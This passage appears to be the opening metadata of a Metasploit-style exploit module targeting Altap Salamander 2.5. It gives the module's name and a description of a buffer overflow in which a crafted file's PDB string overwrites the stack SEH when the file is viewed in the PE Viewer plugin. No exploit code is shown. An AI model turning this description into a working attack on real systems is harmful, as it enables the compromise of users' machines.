'Name' => 'Altap Salamander 2.5 PE Viewer Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in Altap Salamander <= v2.5.

By creating a malicious file and convincing a user to view the file with

the Portable Executable Viewer plugin within a vulnerable version of

Salamander, the PDB file string is copied onto the stack and the

SEH can be overwritten.
